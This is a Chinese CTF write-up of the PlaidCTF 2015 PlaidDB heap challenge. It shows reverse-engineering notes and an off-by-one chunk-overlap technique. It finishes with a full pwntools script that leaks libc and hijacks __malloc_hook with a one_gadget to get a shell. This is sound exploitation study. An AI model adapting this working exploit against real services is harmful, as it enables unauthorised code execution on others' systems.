收获

  • 利用 off-by-one 漏洞造成 Chunk Overlap,通过对堆的布局利用 unsorted bin 修改已有 chunk 内容为 bk 指针,泄露 libc 地址,并利用 fast bin attack,错位伪造 chunk,劫持 __malloc_hook 为 one_gadget 来 getshell

【plaidctf 2015】PlaidDB


思路

本地环境:Glibc 2.23

查看保护,64 位保护全开:

【plaidctf 2015】plaiddb1.png

尝试运行:

【plaidctf 2015】plaiddb2.png

IDA 下分析:

【plaidctf 2015】plaiddb3.png

程序最开始会初始化三个堆,经过后面的分析可以知道,第一个堆存放的是结构体,主要使用了二叉树的结构来存储数据:

struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}

不过关于树的结构我没太看懂。。。网上说是红黑树?我只知道前三个指针,但是二叉树各节点之间的关系是怎么来的不太明白

其初始化 row_keyth3fl4g,初始化 datayouwish

【plaidctf 2015】plaiddb11.png

程序运行时 PROMPT: Enter command: 是在 sub_1A20() 函数中定义的,有 GETPUTDUMPDELEXIT 这几种命令:

【plaidctf 2015】plaiddb4.png

GET 功能:

【plaidctf 2015】plaiddb5.png

首先通过 sub_1040() 函数读取 row_key

【plaidctf 2015】plaiddb6.png

首先 malloc(8) 来存放 row_key ,如果空间大小不够,再 realloc()

仔细观察可以发现 sub_1040() 函数这个输入存在 off-by-null 漏洞,如果将数据写满,该函数会溢出 1 字节,并将其置为 NULL

PUT 功能:

【plaidctf 2015】plaiddb7.png

主要是输入一些数据,首先 malloc(0x38) 申请了一个堆块用于存放结构体

同样使用了 sub_1040() 函数来读取 row_key,并申请了第二个堆块,指针存放在 *v0

然后 malloc(v1) 申请了第三个堆块,读入 size 大小的数据 data

通过调试来验证一下,执行 PUT(1, 2, b'a')

【plaidctf 2015】plaiddb9.png

【plaidctf 2015】plaiddb10.png

DEL 功能:

【plaidctf 2015】plaiddb16.png

这个函数实现的是删除功能,由于是二叉树结构,这个函数比较复杂,只需要知道是按照 row_key 来进行删除的就行,row_key 通过 sub_1040() 函数读取,依然是存在 off-by-one 漏洞的

现在根据以上分析,结合程序运行,可以大致知道该程序的功能了:

  • PUT 插入数据,包括 row_keydata_sizedata
  • GET 打印 row_key 对应的 data
  • DUMP 打印所有 row_key
  • DEL 删除 row_key 对应的数据

【plaidctf 2015】plaiddb8.png

虽然输入 row_key 时存在 off-by-one 漏洞,但特殊在于,其使用了 realloc() 使分配的大小通过可用空间大小乘二的方式增大

也就是说想要触发这个漏洞,对于分配的大小有要求,满足该要求的大小有:0x180x380x780xf80x1f8

通过 off-by-one 漏洞溢出后,可以造成 Chunk Overlap,并泄露 libc 地址,且可以形成 UAF,对于 UAF 漏洞首选 fast bin attack 的方法

我们首先需要有一个处于释放状态的 unsorted bin chunk 或者 small bin chunk,然后在其下方还需要一个进行溢出的 chunk 和被溢出的 chunk

然后利用 off-by-one 漏洞,使它们全都被合并为一个处于释放状态的 chunk,这样中间任意 chunk 的位置如果是已被分配的,就可以造成 Chunk Overlap

大致结构如下:

+------------+
|            |  <-- free 的 unsorted bin 或是 small bin chunk (因为此时 fd 和 bk 指向合法指针,才能够进行 unlink)
+------------+
|     ...    |  <-- 任意 chunk
+------------+
|            |  <-- 进行溢出的 chunk
+------------+
|    vuln    |  <-- 被溢出的 chunk,大小为 0x_00 (例如 0x100, 0x200……)
+------------+

结合 sub_1040() 函数通过 malloc(8) 再 realloc() 的分配方式,对于堆的布局有以下要求:

  1. 任意 chunk 位置至少有一个已经被分配、且可以读出数据的 chunk 来泄露 libc 地址
  2. 任意 chunk 位置至少还需要有一个已经被释放、且 size0x71chunk 来进行 fast bin attack
  3. 进行溢出的 chunk 需要在最上方的 chunk 之前被分配,否则 malloc(8) 的时候会分配到最上方,而不是进行溢出 chunk 所在的下方的位置
  4. 进行溢出的 chunk 大小应该属于 unsorted bin 或是 small bin,不能为 fast bin,否则被释放之后,按照 sub_1040() 函数的分配方式,malloc(8) 无法分配在该位置
  5. 最下方应该有一个已经被分配的 chunk 来防止与 top chunk 合并

按照上述要求,完整的堆结构应该如下:

+------------------+
|      chunk 1     |  <-- free 的 size == 0x200 chunk
+------------------+
|      chunk 2     |  <-- size == 0x60 fastbin chunk,已被分配,且可以读出数据
+------------------+
|      chunk 3     |  <-- size == 0x71 fastbin chunk,为 fastbin attack 做准备
+------------------+
|      chunk 4     |  <-- size == 0x1f8 free 状态的 small bin/unsorted bin chunk
+------------------+
|      chunk 5     |  <-- size == 0x101 被溢出 chunk
+------------------+
|         X        |  <-- 任意分配后 chunk 防止 top chunk 合并
+------------------+

由于分配过程中还存在一些额外结构,包括结构体本身的分配和 sub_1040() 函数,因此需要先释放出足够的 fast bin chunk 来避免结构体本身的分配对我们布置的对结构造成影响

这里通过先执行 10 次 PUT() 和 10 次 DEL() 来实现:

【plaidctf 2015】plaiddb12.png

构造好我们需要的堆块后,分别 freechunk 3chunk 4chunk 1

DEL(b'3')

【plaidctf 2015】plaiddb13.png

DEL(b'4')

【plaidctf 2015】plaiddb14.png

DEL(b'1')

【plaidctf 2015】plaiddb15.png

这样就形成了我们所需要的堆结构

然后利用 DEL()sub_1040() 函数读取 row_key 时的 off-by-one 漏洞,将 chunk 4 写满,并溢出覆盖 chunk 5prev_size 域:

【plaidctf 2015】plaiddb18.png

【plaidctf 2015】plaiddb17.png

这里覆盖的是 0x4e0,因为我们为了造成 Chunk Overlap,需要让这些 chunk 全部被合并为一个处于释放状态的 chunk

因此 chunk 5prev_size 域需要修改为前几个 chunk 的大小之和,即:0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30

然后 freechunk 5,这些 chunk 将会被合并成一个 unsorted bin

【plaidctf 2015】plaiddb19.png

由于此时还存在一个 0x360small bin

【plaidctf 2015】plaiddb20.png

为了防止干扰,需要先通过 PUT(b'0x200', 0x200, b'fillup') 将其分配掉:

【plaidctf 2015】plaiddb21.png

此时合并的 chunk 被置于 large bin

【plaidctf 2015】plaiddb22.png

为了泄露 libc 基地址,我们可以利用 unsorted bin 的特性,打印其 bk 指针

首先,我们需要利用此时 chunk 2 与合并的 chunk 重叠的特点,利用 unsorted bin 来修改 chunk 2 的指针

因此,我们先通过 PUT(b'0x200 fillup', 0x200, b'fillup again')large bin 中将之前的 chunk 1 的空间分配掉:

【plaidctf 2015】plaiddb23.png

此时 chunk 2 处于 unsorted bin 的第一个位置,其指针已被 unsorted bin 修改

【plaidctf 2015】plaiddb24.png

于是我们只需 GET(b'2') 就可以在 data_size 输出的位置输出 bk 指针:

【plaidctf 2015】plaiddb25.png

bk 指针指向 main_arena + 88 的位置,根据 main_arena__malloc_hook 存在固定偏移 0x10,利用 __malloc_hook 在 libc 中的偏移即可得到 libc 基地址:

【plaidctf 2015】plaiddb26.png

由于前面我们已经释放了 chunk 1chunk 3chunk 4,只剩 chunk 2chunk 5 可以利用了,此时 unsorted bin 距离 chunk 5 正好 0x5586e425b950 - 0x5586e425b900 = 0x50

于是填充 0x58 就可以修改 chunk 5size 域和 fd,即可控制下一个 fast bin 的位置

【plaidctf 2015】plaiddb27.png

【plaidctf 2015】plaiddb28.png

然后进行 fast bin attack:

【plaidctf 2015】plaiddb29.png

劫持 __malloc_hook 为 one_gadget:

【plaidctf 2015】plaiddb30.png

这样看得更清楚:

【plaidctf 2015】plaiddb31.png

最后执行一次 DEL()

利用 sub_1040() 函数中的 malloc(8) 触发 one_gadget 即可获得 shell


脚本

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04 Glibc 2.23

if content == 1:
    # 将本地的 Linux 程序启动为进程 io
    io = process('./datastore')

# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:  # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()

def PUT(row_key, size, data):
    io.sendlineafter('command:\n', b'PUT')
    io.sendlineafter('key:\n', row_key)
    io.sendlineafter('size:\n', str(size))
    if len(data) < size:
        data = data.ljust(size, b'\x00')
    io.sendafter('data:\n', data)

def DEL(row_key):
    io.sendlineafter('command:\n', 'DEL')
    io.sendlineafter('key:\n', row_key)

def GET(row_key):
    io.sendlineafter('command:\n', 'GET')
    io.sendlineafter('key:\n', row_key)
    io.recvuntil('[')
    num = int(io.recvuntil(b' bytes', drop=b' bytes'))
    io.recvuntil(':\n')
    return io.recv(num)



# 相关函数实现的时候用到了一些 0x38 大小的块,避免影响我们提前搞一些
for i in range(10):
    PUT(str(i).encode(), 0x38, str(i).encode())

for i in range(10):
    DEL(str(i).encode())


PUT(b'1', 0x200, b'1')   # 设置的大一些,后面分配的时候会优先将其分配出去,但分配的过大就不会物理相连了,实测绕不开后面的问题
PUT(b'2', 0x50, b'2')    # 用来都 libc 的已分配块,表面上未分配,大小符合 fast bin 即可,暂未验证
PUT(b'3', 0x68, b'3')    # 用来进行 fast bin attack 的块,大小应该符合 fast bin 即可,暂未验证
PUT(b'4', 0x1f8, b'4')   # 用来溢出的块,溢出到下一个块的 pre_size 把他修改成上面全部块大小的和
PUT(b'5', 0xf0, b'5')    # 用来被溢出的块
PUT(b'defense', 0x400, b'defense-top chunk')   # 用来防止被 top chunk 合并

DEL(b'3')
DEL(b'4')
DEL(b'1')

DEL(b'a' * 0x1f0 + p64(0x4e0))   # 溢出,0x4e0 = 0x200 + 0x50 + 0x68 + 0x1f8 + 0x30 (这是没有被使用的指针部分大小,三个)

DEL(b'5')   # 合并 1 2 5 3 4 块

PUT(b'0x200', 0x200, b'fillup')   # 这里是在 defense 块分配后导致清理碎片清理,多出来一个 0x360 的 small bin 要先把他分配掉
PUT(b'0x200 fillup', 0x200, b'fillup again')   # 把 1 分配掉,这样 2 就是第一个块了,可以打印相关地址,泄漏 libc 基地址

libc_leak = u64(GET('2')[:6].ljust(8, b'\x00'))
log.success('libc_leak: ' + hex(libc_leak))
__malloc_hook_addr = libc_leak - 88 - 0x10
libc_base = __malloc_hook_addr - libc.symbols['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))

# 这些块物理相连,a*58 之后正好是 5 块的 size 和 fd,修改即可控制下一个 fast bin 的位置
# -0x10 是为了留出指针空间,-3 是为了把指针所指的 __malloc_hook 处的 7f 地址提前,当成 pre_size 相关内容,否则 fake_fast bin 格式不符合要求
# debug()
PUT(b'fastatk', 0x100, b'a' * 0x58 + p64(0x71) + p64(__malloc_hook_addr - 0x10 + 5 - 8))
PUT(b'prepare', 0x68, b'prepare data')

one_gadget = libc_base + 0x4527a   # 0x45226 0x4527a 0xf03a4 0xf1247
PUT(b'attack', 0x68, b'a' * 3 + p64(one_gadget))

io.sendline(b'DEL') # malloc(8) 出发 one_gadget

io.interactive()

结果

【plaidctf 2015】plaiddb32.png